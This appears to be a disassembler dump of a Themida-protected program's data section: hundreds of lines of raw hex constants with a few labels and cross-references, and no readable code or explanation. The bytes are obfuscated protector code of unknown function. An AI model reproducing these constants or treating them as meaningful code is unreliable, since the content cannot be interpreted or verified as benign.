dd 0BE9h, 16005400h, 498BAAA2h, 587F5FB7h, 8B585A61h, 0E209E9BDh
dd 0A1B5FF05h, 8D05E216h, 0E57A6185h, 44D38005h, 8D29D0FFh
dd 5E21551h, 89DAB70Fh, 0E230D585h, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0EF24752Fh
dd 0C92E63DAh, 85BD83F8h, 5E205h, 0ED850Fh, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 3AD99CC3h, 1B84A42Bh, 505A9D64h, 725C381h, 0C65A339Eh
dd 0E20A4985h, 958B5605h, 5E22391h, 510DDB68h, 0FE8B8h
dd 3F3B0000h, 8AF35E6Fh, 852E070Eh, 3FC9C013h, 6160606Dh
dd 5A61FEB7h, 0E2243481h, 0E96C4E60h, 13h, 264AA02Ah, 42B0BCEEh
dd 8CDCED19h, 76B29BECh, 0FF64DDC7h, 0E216A1B5h, 50006A05h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0C2910005h, 0F6AF3BEh, 0BF66FFBFh, 858DC824h, 5E57A61h
dd 0FFDF8B66h, 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 0A5382C95h, 8A7A110Ah
dd 1718589h, 858905E2h, 5E20585h, 0D18B6660h, 581B529h
dd 0C66105E2h, 0E20A4985h, 0F5806C05h, 0B495683Dh, 8B0FA86Eh
dd 0
dd 0EE240481h, 6A3296BBh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 0CA7EC357h, 1A473B42h
dd 2DB5FF85h, 8B05E226h, 0E21B31BDh, 0ED858D05h, 6A05E239h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 0BD3CC350h, 0D126D72Fh, 8BD90191h, 0E22C9195h
dd 8BD0FF05h, 0E232CDBDh, 12E805h, 0AA320000h, 11A0377Bh
dd 217341B0h, 0D63D77DFh, 0DF7182F3h, 2800Fh, 0CA8B0000h
dd 10858959h, 6A05E5ACh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 811C351h, 5CC2813Eh
dd 6A78411Dh, 4E8F904h, 0
dd 0E9000010h, 0Fh, 435200B0h, 31F9891Ah, 0EE825E1Ch, 50294760h
dd 59DE8B53h, 424448Bh, 0A0DEBF66h, 62BB008Bh, 8954B5B8h
dd 8A042444h, 6A58F4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 30E34EC3h, 6B1068F1h, 6650B8C9h
dd 815AFB8Bh, 94F02404h, 6A4737h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 53AADAC3h, 0D6E18F54h
dd 6AE8CFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 75C35646h, 53321C65h, 0A8BC80BBh, 0A9BD8922h, 0FF05E231h
dd 0E2266195h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 0A799BF60h, 0BD296EC8h
dd 5E22219h, 0AC1C8589h, 0CF8005E5h, 31006A58h, 0E20EB1BDh
dd 0BDBD8905h, 0E805E21Fh, 4, 10000h, 12E8h
db 0
byte_529079 db 36h, 0D0h, 0C8h ; DATA XREF: Themida_:004F0034o
dd 59070F61h, 7D2B5991h, 0FFCACD9Bh, 0FBDBDEAh, 684h, 860F00h
dd 5F000000h, 0D38B6650h, 424448Bh, 9E8h, 53198000h, 268A80Dh
dd 6EB5F4BAh, 60008B5Bh, 58ABB153h, 66585360h, 614FC2BEh
dd 24448961h, 6ABB6604h, 953358E8h, 5E2053Dh, 24048950h
dd 6A0B6AF5h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 2CA8C350h, 0E753CBDDh, 16C7A964h
dd 39FAC6BAh, 0E9858D7Bh, 6A05E5ABh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0C8CFC356h
dd 68C0FC6h, 1000000h, 0E200BDB5h, 7DBD8905h, 5005E223h
dd 0E2E86ABBh, 2404895Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 9CC35242h, 34DB56Fh, 0FF36F526h, 0E2331195h
dd 38C0F05h, 80000000h, 0B58D53EFh, 5E5ABF3h, 0A9AFBF66h
dd 505F5096h, 6AB95250h, 0F6C8E43h, 38C0F31h, 66000000h
dd 585ACE8Bh, 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 39D258EEh, 9DB663A2h, 52605064h
dd 0B8586160h, 213263ACh, 24048961h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 0D4C35343h, 818DB5AFh, 0ACF283C3h
dd 0D595FF75h, 2905E230h, 0E2178D8Dh, 6AD0FF05h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 67CC355h, 3177032Ch, 0E205098Dh, 1CB58B05h, 8905E5ACh
dd 0E225D595h, 1485C705h, 5E5ACh, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 2C50C356h, 80FC76A5h, 0F00207Eh, 30A84h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0C927042Ah, 6A6004h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 8D49BFC3h, 6A2046h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 890F25C3h
dd 0E232FD9Dh, 18858905h, 6005E5ACh, 199D9589h, 0E96105E2h
dd 27h, 105DBD89h, 6A4005E2h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 0E189C350h, 808D0948h
dd 850F0038h, 0FFFFFFD6h, 31E9h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 955BAC05h
dd 0B3C2C4B4h, 799D8B51h, 4805E206h, 115B589h, 388005E2h
dd 3C840F5Ch, 66000000h, 3880CE8Bh, 30840F2Fh, 89000000h
dd 0E218E99Dh, 18853B05h, 0F05E5ACh, 0FFFFD283h, 12E8FFh
dd 315E0000h, 0B47C7AFBh, 0C5D9B1ADh, 0D6D9D0EDh, 0BF9962B7h
dd 1F9D9D8Bh, 405B05E2h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 6EC35141h, 958BF742h, 5E21479h, 0AC20BD83h
dd 0F0005E5h, 7E84h, 50CF8B00h, 48905B6h, 51006A24h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 0DDF4A341h, 802E3603h, 850394CFh, 5E5AC20h, 11E8h, 0AE0B7000h
dd 97202FF0h, 0C73EEF48h, 7291D055h, 7EB7905Dh, 0C65Bh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0DAC35141h
dd 0A27FA9ECh, 3862A4F9h, 25BAB966h, 1BD8B58h, 9005E20Ah
dd 0FEBFB952h, 50596365h, 0DFBF0F90h, 0AC0CB5FFh, 6A05E5h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 8666DDC3h, 4038B94h, 0DE91Eh, 0B9B40000h, 4C65E55Dh
dd 7D12DA9Ch, 0FF9E29BCh, 0E5AC1095h, 659D8B05h, 0B05E22Ch
dd 9E850FC0h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 0A85C350h, 0B70F81F1h
dd 66F781C9h, 6129BE11h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 7FC35343h, 85D7E423h, 1D7A8232h, 0AAF38166h
dd 1485C701h, 105E5ACh, 81000000h, 5B0553D7h, 0C59D8B7Bh
dd 0E905E209h, 6Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 0C0C35646h, 659589CBh, 0F05E20Bh, 283h
dd 0BD98B00h, 0E2188195h, 0DF816105h, 6E3B798Fh, 11CC681h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 1E934DC3h, 9B0A0D0h, 0E21EA5BDh, 0FCF1E905h
dd 8166FFFFh, 0E8C034C9h, 4, 8000h, 12E8h, 53C9BC00h, 0DD24337Dh
dd 38137D73h, 1C566DF2h, 8B034F95h, 0BF505FCFh, 6E7621E5h
dd 424448Bh, 0EE8h, 0D2A96900h, 3034CAE0h, 5B3A6938h, 8BE412EBh
dd 8B5BD9h, 0EE8h
db 0
byte_5295B5 db 65h, 48h, 2Dh ; DATA XREF: Themida_:004EE708o
dd 50B09A8Bh, 345F8673h, 0E893F877h, 9, 0A12492Ch, 0DABD0998h
dd 0F5BA66C9h, 895F5A81h, 8B042444h, 840F58D7h, 6, 10798589h
dd 6A05E2h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 62C35242h, 0F2415h, 892832BBh, 0E20A51BDh, 1CB5FF05h
dd 6A05E5ACh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 4934C350h, 0AF1A112Ah, 8B66D79Bh
dd 8595FFCBh, 6605E205h, 858BCB8Bh, 5E5AC14h, 965958Bh
dd 0E95005E2h, 12h, 87FA5F8Ch, 41550EC8h, 545263DEh, 0E728448Ch
dd 489C2A3h, 0F5BD8B24h, 8B05E21Dh, 0E20681BDh, 24858D05h
dd 6605E5ACh, 0B150D88Bh, 240489CCh, 0F840Fh, 0AE90000h
dd 44000000h, 0F52D3A73h, 486D64EBh, 0E1858DA5h, 8905E5ABh
dd 0E210E185h, 0DE89005h, 0C0000000h, 0F6125D94h, 0D54C4C35h
dd 53B9D2D8h, 9D92BEBAh, 0B3505B78h, 6A9054h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 26216C3h
dd 12E82FFCh, 33000000h, 0ACEA0CA4h, 9AF2DFF6h, 9675B1F1h
dd 11EAEB13h, 28BA665Ah, 0F565982h, 0FF5FFBBFh, 0E21DB595h
dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 0FB5152CEh, 0DB57E85Ah, 0C08BCA8Ah, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0AAC35747h, 13D5B589h
dd 0BD8305E2h, 5E21EA9h, 83097500h, 0E21805BDh, 13740005h
dd 0C08B5350h, 4D0B8h, 359D8D00h, 0FF05E4B1h, 83585BD3h
dd 0E21805BDh, 11740005h, 0D0B85350h, 8D000004h, 0E4B0349Dh
dd 5BD3FF05h, 9E95358h, 0A8000000h, 0E5617ED9h, 4462B871h
dd 0CDB5295Ah, 8B05E217h, 58CF8BC0h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 0EDC35343h, 0B45EB6E2h, 81BD29B7h
dd 3305E229h, 0E21B31BDh, 8C205h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 0F1C35545h, 4F8326Bh, 8B500E7Dh
dd 0E2195DBDh, 8B665B05h, 6AC08BD7h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0C64DC351h
dd 8D2A41A9h, 0E5AC3785h, 0B6BF5705h, 59733BDAh, 33398589h
dd 39EB05E2h, 0BB0000h, 0BB02CCh, 0BB02E4h, 0
dd 44C33C82h, 75DA303Ch, 21CB38D4h, 4CC03CA9h, 4DCA7B02h
dd 75E055DBh, 21E2199Fh
dword_529874 dd 51E121A3h, 49FA3B93h, 45CF3009h, 21C435BDh, 21ADBD8Bh
; DATA XREF: Themida_:004EE6F8o
dd 7C8E556Fh, 4D270874h, 652F51FFh, 21BB51C9h, 74EB55F6h
dd 0AA6345B8h, 1714AC7Dh, 0A2ED3AACh, 0C3B0FCD2h, 28DB55B2h
dd 39ABE858h, 55AE500Fh, 0AAFD05EFh, 2517EDBBh, 0A42755BDh
dd 244C6483h, 9354C8E2h, 0F2515053h, 9C2D0D80h, 244C4DE8h
dd 71B921F6h, 2517ED28h, 0A42755BDh, 244C6483h, 8E47C8E2h
dd 0F2515053h, 96A10D80h, 0A4A7351Dh, 244C4BBFh, 2E7E07Ah
dd 0AACF505Fh, 74AE3F1Eh, 21AE5687h, 0E2F375B7h, 5C2DC86h
dd 5EAD4E9h, 21AE43F2h, 0E2FB107Bh, 0AA7FF11Bh, 0F1115A09h
dd 2BE7D0A9h, 4BF85055h, 224600DBh, 1AE55EDh, 0A8F396ABh
dd 0A0AA7117h, 3AAA71F9h, 64AE55DEh, 0BA9E963Ah, 0D5266BC1h
dd 0AAFCE17Bh, 0C3B65C58h, 0F4C60BF3h, 475FB5D7h, 152FA736h
dd 69BAD2FAh, 0D4137C02h, 0DEABB7B3h, 0C3B8F46Eh, 0E02F33E8h
dd 0A423F1AFh, 244B2F1Ah, 175C4203h, 0C97EAAD9h, 21AE5560h
dd 572BF6D7h, 5F17122Bh, 180BE4ACh, 47C2B725h, 0A4149FFAh
dd 4BAA3FE4h, 224602DEh, 1AE556Fh, 0A8F196E8h, 0A0AA71A7h
dd 34AA71A9h, 66AE55F6h, 2134962Ch, 73488C3Dh, 0BC7D0F7h
dd 49F1508Dh, 0DFBF3994h, 0A07EDEBDh, 827371E9h, 21C45418h
dd 21ADBD2Ah, 788E55BDh, 6D270C1Dh, 652F514Bh, 21B25193h
dd 70EF55DBh, 0DB4292Eh, 3AB1CEC1h, 0D9C6C30Ah, 0C82CF051h
dd 21AE55D2h, 0FBAE3D09h, 0D8BD189h, 1B5C6AF3h, 0D58A516Ch
dd 2ED30FE3h, 21C4AFC4h, 3833E836h, 0F151503Ch, 0C9FE5505h
dd 21AE55B4h, 796D0DFBh, 258A1164h, 258A1177h, 21AE5567h
dd 926D05FDh, 0CA74B207h, 965BD49Ch, 0E199EBD1h, 9A3FD052h
dd 21C45008h, 21ADBDA5h, 7A8E557Bh, 7D270E7Eh, 652F51FAh
dd 21B5514Bh, 72ED55B7h, 0D1AE4B18h, 0F5A3F28Ch, 2456DE95h
dd 21AE57B7h, 9A3BD034h, 0E12D503Bh, 0B82BDC77h, 12ABB00Ch
dd 2342EC1Bh, 8B5D55EDh, 0C9F9559Ch, 21AE5578h, 7E6D0A9Dh
dd 258A2957h, 258A11EEh, 21AE55AFh, 5E6D029Ch, 0A45877FEh
dd 21AE5A1Fh, 19E37D7Bh, 0B8CAC2A1h, 47D0D147h, 1CE573CEh
dd 2F3BC83Eh, 21C45039h, 21ADBDBCh, 788E55F6h, 6D270CB8h
dd 652F5199h, 21B851FAh, 70EF556Fh, 5FD23174h, 32D7E8F2h
dd 0A468500Fh, 244C5FBFh, 0EB115A38h, 21AE5155h, 46C50BDEh
dd 717FDFF3h, 21AE535Eh, 0E39A79DBh, 0AA92AE2Eh, 2EAA71B2h
dd 21AE57F2h, 0AA65DFBDh, 23255ADEh, 0ABAE556Fh, 5EADC7Bh
dd 455CEFDFh, 0C8F614E4h, 21AE55FBh, 962A1561h, 7C32108Dh
dd 425038F4h, 0C23DC5Dh, 0DEABB787h, 0C3B8F46Eh, 602354E8h
dd 0ACABB7FBh, 0C4D434FEh, 5C2364B8h, 0DEABB7FFh, 0D6115ABFh
dd 0D3BD03Eh, 21C45039h, 21ADBDBAh, 7E8E55F6h, 5D270AB8h
dd 652F5199h, 21BA51FAh, 76E9556Fh, 0A4231174h, 244C587Eh
dd 0C9F95587h, 21AE55F5h, 7E6D0A5Bh, 258A2934h, 258A115Fh
dd 21AE557Ah, 8A6D02F0h, 0C2BDC6Eh, 47ABB7F3h, 0E5C4B777h
dd 2BE7D0BDh, 4BFD505Fh, 224602DEh, 1AE556Fh, 0A8F196E8h
dd 0A0AA71A7h, 37AA71A9h, 66AE55F6h, 0A597962Ch, 21AABD23h
dd 697655DEh, 7FF8A9DEh, 511133E7h, 5EADE37h, 71AEDEE9h
dd 382D5AA4h, 0C9AE557Bh, 21AE55AEh, 16302786h, 0A46CFBA2h
dd 0EBEB3BC8h, 0CD8B11BCh, 7868658Fh, 9FF864F9h, 7311E467h
dd 0A8F60FE2h, 94AA719Ah, 21C40D76h, 21ADBDE1h, 7F8E55DBh
dd 55270B2Eh, 652F51D2h, 21B2515Fh, 77E855BDh, 3A31511Dh
dd 0D79B159Eh, 94516441h, 244C437Ah, 0C9FD5587h, 21AE55F5h
dd 7A6D0E5Bh, 258A0934h, 258A115Fh, 21AE5575h, 396D06F4h
dd 44B67D24h, 0F22470ECh, 5BCFD07Bh, 21C4509Eh, 21ADBDEDh
dd 798E55DEh, 65270DACh, 652F5193h, 21B651FFh, 71EE55EDh
dd 7E9F2F35h, 94874632h, 244C4410h, 21C48521h, 21ADBD3Dh
dd 7B8E55B7h, 75270F18h, 652F51C9h, 21B451D2h, 73EC557Bh
dd 0F676157Eh, 0B721A607h, 0A427A4E4h, 244C5F0Eh, 21AE5D32h
dd 0CF70E7EDh, 0E9C14C52h, 682B939Dh, 72ABB7B7h, 4967E2D1h
dd 981BC325h, 152FAB3Ch, 8CFCACFFh, 801BAA8Ch, 20ABB7E0h
dd 0C38B70EEh, 402BD8B8h, 0C8ABB0A4h, 21AE557Ch, 53780F36h
dd 57732C87h, 0DA6AAD5h, 0B74C58CBh, 0DE127FD9h, 603B646Dh
dd 0A8ABB7CFh, 0C3B978EAh, 76AE3FB2h, 21AE5633h, 0E2F175EDh
dd 5D2DCA9h, 5EAD47Fh, 21AE41B9h, 0E2F912DEh, 0BC13DC97h
dd 0E7ABB795h, 0C3A41C5Eh, 0EA2512E8h, 0FD71EC9Eh, 70FC05F4h
dd 719F5AE2h, 0D925338Ch, 2F476460h, 0E5AE55B7h, 30B834EAh
dd 332003h, 98F82517h, 7BF60F64h, 5AAD4E5h, 9AFA82Eh, 0C9FF5505h
dd 21AE55B4h, 786D0CFBh, 258A1964h, 258A1177h, 21AE5567h
dd 3F6D04FCh, 39C3A1ADh, 4C8B721Fh, 0BF3DECD1h, 370FE024h
dd 21C4500Fh, 21ADBDA6h, 798E557Bh, 65270D7Eh, 652F51FAh
dd 21B7514Bh, 71EE55B7h, 0B77AFF18h, 0ACC680F1h, 0C4D43473h
dd 71AE3F7Eh, 21AE5655h, 0E2F675DEh, 5EADC37h, 5EAD4B3h
dd 21AE43DFh, 0E2FE15EDh, 0DE3B3C2Bh, 77AE3FABh, 21AE5655h
dd 0E2F075DEh, 5DADC31h, 5EAD4B3h, 21AE4CDFh, 0E2F813EDh
dd 4D85F787h, 0A2A1C725h, 21AE55B8h, 7B70D4B8h, 482BDC54h
dd 2EABB79Bh, 0A468AC6Ch, 244C5FA4h, 76AE3FB1h, 21AE5693h
dd 0E2F175BDh, 5D2DC81h, 5EAD46Bh, 21AE49B3h, 0E2F912DBh
dd 61A5876Fh, 5F7A6739h, 0EB195A4Dh, 21AE5155h, 0FDBE2FDEh
dd 27255AEEh, 41AE55B7h, 981D0B8Dh, 9218058Ch, 258A117Dh
dd 2125ADF0h, 21ABBDDDh, 9C1C55DEh, 769E46DAh, 0AAC80BEEh
dd 65273422h, 0AAC851C9h, 21C40D0Eh, 21ADBD2Dh, 7F8E55BDh
dd 55270B1Dh, 652F514Bh, 21B35193h, 77E855DBh, 86A7572Eh
dd 803E2393h, 0A8090F53h, 0C3B24408h, 0C72F33DBh, 9451E147h
dd 244C4316h, 0DC105564h, 402BD89Ch, 4BABB08Ch, 2246037Bh
dd 1AE55BDh, 0A8F09680h, 0A0AA711Bh, 3BAA71F3h, 67AE55DBh
dd 0E47296BBh, 0C9723C84h, 901BDE82h, 0DEABB791h, 77AE3F0Eh
dd 21AE5687h, 0E2F075B7h, 5DADC85h, 5EAD4E9h, 21AE48F2h
dd 0E2F8137Bh, 61EC142Ch, 5259DB42h, 0ABA1F670h, 21AE55B1h
dd 3137D850h, 0A427500Fh, 244C5A73h, 0C9F85511h, 21AE55BEh
dd 7F6D0BFEh, 258A21E6h, 258A1136h, 21AE55C7h, 66D03ABh
dd 8D337B59h, 0C6A5D2A8h, 0A7BE034h, 0AACE503Ch, 0C3B88CDAh
dd 0A46834B2h, 244C5F92h, 781BDEAAh, 49ABB7EDh, 5D1AD624h
dd 33000003h, 5AAD4ADh, 0FB6ED91h, 370FE048h, 285B5039h
dd 0C3B4D050h, 402BD8F3h, 0A8ABB001h, 0C3BA1C08h, 4B7EAADBh
dd 2246026Fh, 1AE55B7h, 0A8F19684h, 0A0AA7191h, 37AA71B2h
dd 66AE557Bh, 733596EAh, 0D248D482h, 2EA68EEEh, 21AE5630h
dd 0DF2533DBh, 2B2BD064h, 21C45014h, 21ADBD2Ah, 788E55BDh
dd 6D270C1Dh, 652F514Bh, 21B35193h, 70EF55DBh, 30D6122Eh
dd 6344574Eh, 0A832EDE0h, 0C38C0800h, 0E02F33DBh, 0F1519514h
dd 0C9F955DDh, 21AE55D8h, 7E6D0ACDh, 258A297Fh, 258A11FAh
dd 21AE55A0h, 176D0299h, 137D9C53h, 4FFBF827h, 982CEB98h
dd 0A427791Ah, 244C550Fh, 0C9F85511h, 21AE55BEh, 7F6D0BFEh
dd 258A21E6h, 258A1136h, 21AE55C1h, 0B06D03ABh, 0EAEF8D5Ch
dd 2E47D07Ch, 1BAE55BDh, 0D36B09A0h, 21167A77h, 3E5683Dh
dd 0ADC88665h
dd 4BAA7135h, 224605F6h, 1AE557Bh, 0A8F696E5h, 0A0AA719Ah
dd 3AAA712Bh, 61AE55B7h, 7253968Bh, 0AD39813Ch, 9C270DAFh
dd 244C7E82h, 0A5A195B7h, 21AE56F7h, 3797D0E6h, 0A4685055h
dd 244C5F92h, 77AE3FA2h, 21AE561Eh, 0E2F0757Bh, 5DADCE3h
dd 5EAD4DAh, 21AE426Bh, 0E2F813B7h, 3A65D04Dh, 64F0EC8Bh
dd 7866679Eh, 0A072E7B5h, 85587189h, 21C42407h, 21ADBD3Fh
dd 798E55B7h, 65270D18h, 652F51C9h, 21BA51D2h, 71EE557Bh
dd 2B47EA7Eh, 0A1AE55DEh, 879ED76Fh, 0C18C182Dh, 801BAAA1h
dd 4BABB7FBh, 224605F6h, 1AE557Bh, 0A8F696E5h, 0A0AA719Ah
dd 3AAA712Bh, 61AE55B7h, 9229968Bh, 0E9C99BE9h, 9425ED98h
dd 244C4C12h, 0AC56DEDBh, 0C4D4345Bh, 77AE3F6Ah, 21AE565Fh
dd 0E2F075DBh, 5DADCB3h, 5EAD4F2h, 21AE487Fh, 0E2F813BDh
dd 56D73398h, 7933D748h, 7BF824ECh, 94258524h, 244C7ECCh
dd 2977C07Dh, 0E12D5099h, 72AE3F99h, 21AE5636h, 0E2F5756Fh
dd 5F2DCECh, 5EAD4DFh, 21AE40E9h, 0E2FD16F6h, 0A0C8A976h
dd 0A8C35C72h, 0C3A66C5Bh, 72AE3F6Ah, 21AE565Fh, 0E2F575DBh
dd 5F2DCB6h, 5EAD4F2h, 21AE487Fh, 0E2FD16BDh, 8328415h
dd 0E2640C51h, 0A425B834h, 244C5522h, 0AA60EAE2h, 0C3A4D06Bh
dd 948D167Eh, 244C6428h, 0A4274E55h, 244C52E6h, 21C44E3Ch
dd 21ADBD8Bh, 798E55EDh, 65270D35h, 652F515Fh, 21B55199h
dd 71EE55DEh, 73B6CAACh, 233F95BCh, 0A8D6E0D2h, 0C3B8E078h
dd 706EAF3h, 3A252827h, 0C9F855D7h, 21AE55DDh, 7F6D0B4Fh
dd 258A213Eh, 258A115Ah, 21AE55F0h, 786D03B0h, 0AE0D37AAh
dd 63790E7Bh, 0CE2F0558h, 571EEF95h, 0C97666EEh, 21AE55C8h
dd 76224077h, 0FABDD399h, 4F7EB9E8h, 0FB1893ADh, 985BFA4Ah
dd 43B471B2h, 8833DCE9h, 0C9ABB7F1h, 21AE55E8h, 8AE0D45Ch
dd 0A4680FC5h, 244C5FF4h, 0FB78D499h, 0A8ECFE6Ch, 0C3B3B832h
dd 21AABDDEh, 0FC0755EDh, 0A0A1E228h, 21AE557Eh, 4B284C04h
dd 0C9CE05FBh, 21AE557Fh, 6A69D1E7h, 1CD636D7h, 62CF610Ch
dd 88CD5E85h, 21AE5B92h, 0C6AB60BDh, 0C85FB7A8h, 0FD4489CCh
dd 797E3414h, 0E6FDEFBDh, 5EADE8Ch, 0AAAEDEF2h, 5EADCB1h
dd 7910E7B9h, 265E9C5Fh, 945175CAh, 244C4316h, 0C9FD55B1h
dd 21AE55EEh, 7A6D0ED6h, 258A09F2h, 258A113Ch, 21AE55CAh
dd 7B6D062Ch, 0CAD42908h, 402BD8D3h, 2EABB097h, 21AE5373h
dd 0A01BDE7Bh, 2EABB7B7h, 21AE4354h, 21A4BD6Fh, 5BF255B7h
dd 4032DCECh, 9A05C476h, 0C1E79377h, 0DEF702B2h, 0A427AD6Dh
dd 244C79B7h, 0C9F85505h, 21AE55B4h, 7F6D0BFBh, 258A2164h
dd 258A1177h, 21AE5566h, 136D03FBh, 5F0A403Ch, 8FAE29E9h
dd 0D22533E8h, 0C9AEDE9Bh, 21AE55E3h, 6904348Bh, 0FA404A73h
dd 1879ED51h, 96A12DE3h, 21250FA6h, 0C9FD55DDh, 21AE55D8h
dd 7A6D0ECDh, 258A097Fh, 258A11FAh, 21AE55A8h, 776D069Dh
dd 98C8A0ABh, 0A4279F50h, 244C4D5Eh, 7E70D48Bh, 215DBC77h
dd 0BC27557Bh, 244C6704h, 21AE5D37h, 2E47E06Fh, 2BB70C48h
dd 962BD886h, 47ABB056h, 3DED9C77h, 34D1EA1Dh, 0A03E052Dh
dd 0F3CAD931h, 0D83BAA47h, 0AABB7A1h, 0C38D0066h, 0AC13DCE8h
dd 0ACABB7C4h, 0C415E8E6h, 73AE3FB8h, 21AE5636h, 0E2F4756Fh
dd 5FADCEDh, 5EAD4DFh, 21AE40E9h, 0E2FC17F6h, 0C83D0CEDh
dd 21AE55A9h, 4F549C2h, 2AFBADF6h, 8CBF322Ah, 68E09A57h
dd 0EB2AA051h, 0B200E4A6h, 3707C8F2h, 9B3E505Fh, 6D02E700h
dd 0B103E73Fh, 0C9FF55DDh, 21AE55D8h, 786D0CCDh, 258A197Fh
dd 258A11FAh, 21AE55A8h, 0DF6D049Fh, 701B664Ch, 0DEABB793h
dd 0C39E804Eh, 71AE3FE8h, 21AE561Eh, 0E2F6757Bh, 5EADCE5h
dd 5EAD4DAh, 21AE416Bh, 0E2FE15B7h, 1023DC16h, 0A8ABB7F6h
dd 0C3B8A06Bh, 182BDC7Eh, 0A8ABB7B5h, 0C3A9284Bh, 0B427026Ah
dd 244C65C6h, 682B9384h, 72ABB7E7h, 0C9FE559Ch, 21AE5578h
dd 796D0D9Dh, 258A1157h, 258A11EEh, 21AE55A1h, 0B06D059Bh
dd 0A4278B77h, 244C51CFh, 0A856EA13h, 21A5BC13h, 9EEC55DEh
dd 0CCD9DAD5h, 2FC8800Dh, 59AD430h, 25A0292Dh, 327D87Fh
dd 94515099h, 244C431Ch, 0C9FB55B4h, 21AE556Ch, 7C6D0897h
dd 258A3952h, 258A116Ch, 21AE55ECh, 5C6D003Eh, 0A215DAF3h
dd 9425A4FBh, 244C5852h, 21A8D3B8h, 0B49F55DBh, 244C4F4Ch
dd 5BCFD07Bh, 0A487509Eh, 244C5190h, 5980EAB8h, 0A4278590h
dd 244C415Eh, 21AE5932h, 7771AFEDh, 73DA2668h, 4F0CE754h
dd 682B932Fh, 66ABB7D4h, 6FC603DEh, 47251D94h, 0A018ED61h
dd 0D3EC71E9h, 945143DFh, 244C43DAh, 0C9FC55D7h, 21AE55DDh
dd 7B6D0F4Fh, 258A013Eh, 258A115Ah, 21AE55F9h, 0C16D07B4h
dd 0F607EF1Dh, 5BCFD030h, 21C4503Bh, 21ADBD38h, 7E8E55B7h
dd 5D270A18h, 652F51C9h, 21B751D2h, 76E9557Bh, 0DFA3D47Eh
dd 0DE485CDDh, 0A860DEBFh, 0C3858432h, 0E013DCDEh, 0E7ABB7CFh
dd 0C3A41C73h, 9EC8067Eh, 0CEC6F854h, 2E8D5A6Fh, 21AE51EFh
dd 0DB2505B7h, 5AAD482h, 5787F84Ch, 0C9FB559Ch, 21AE5578h
dd 7C6D089Dh, 258A3957h, 258A11EEh, 21AE55A1h, 156D009Eh
dd 94511C45h, 244C4357h, 0C9F85511h, 21AE55BEh, 7F6D0BFEh
dd 258A21E6h, 258A1136h, 21AE55CCh, 0E46D03ABh, 10319199h
dd 0C3B7ACC6h, 0D81133B8h, 402BD883h, 0C9ABB015h, 21AE55A4h
dd 9B3F7DA5h, 0E9931C8Ch, 745245D2h, 5047EA7Ch, 0A818EE49h
dd 0C383D44Bh, 0F1510C6Ah, 0C9FD55DDh, 21AE55D8h, 7A6D0ECDh
dd 258A097Fh, 258A11FAh, 21AE55A0h, 5A6D069Dh, 2E39587Fh
dd 5170696Ah, 9AC83596h, 0A8CEC8C2h, 0C3836073h, 407ADF7Eh
dd 0A41BDEDCh, 0A8ABB7CBh, 0C3A540EAh, 71AE3FB2h, 21AE5633h
dd 0E2F675EDh, 5EADCAEh, 5EAD47Fh, 21AE40B9h, 0E2FE15DEh
dd 0BC27723Bh, 244C5FF6h, 2BE7D01Dh, 4BF9500Fh, 224600F6h
dd 1AE557Bh, 0A8F396E0h, 0A0AA71B2h, 35AA712Bh, 64AE55B7h
dd 49EB968Eh, 0A59844D4h, 2DD8774Ch, 59AD403h, 359C1682h
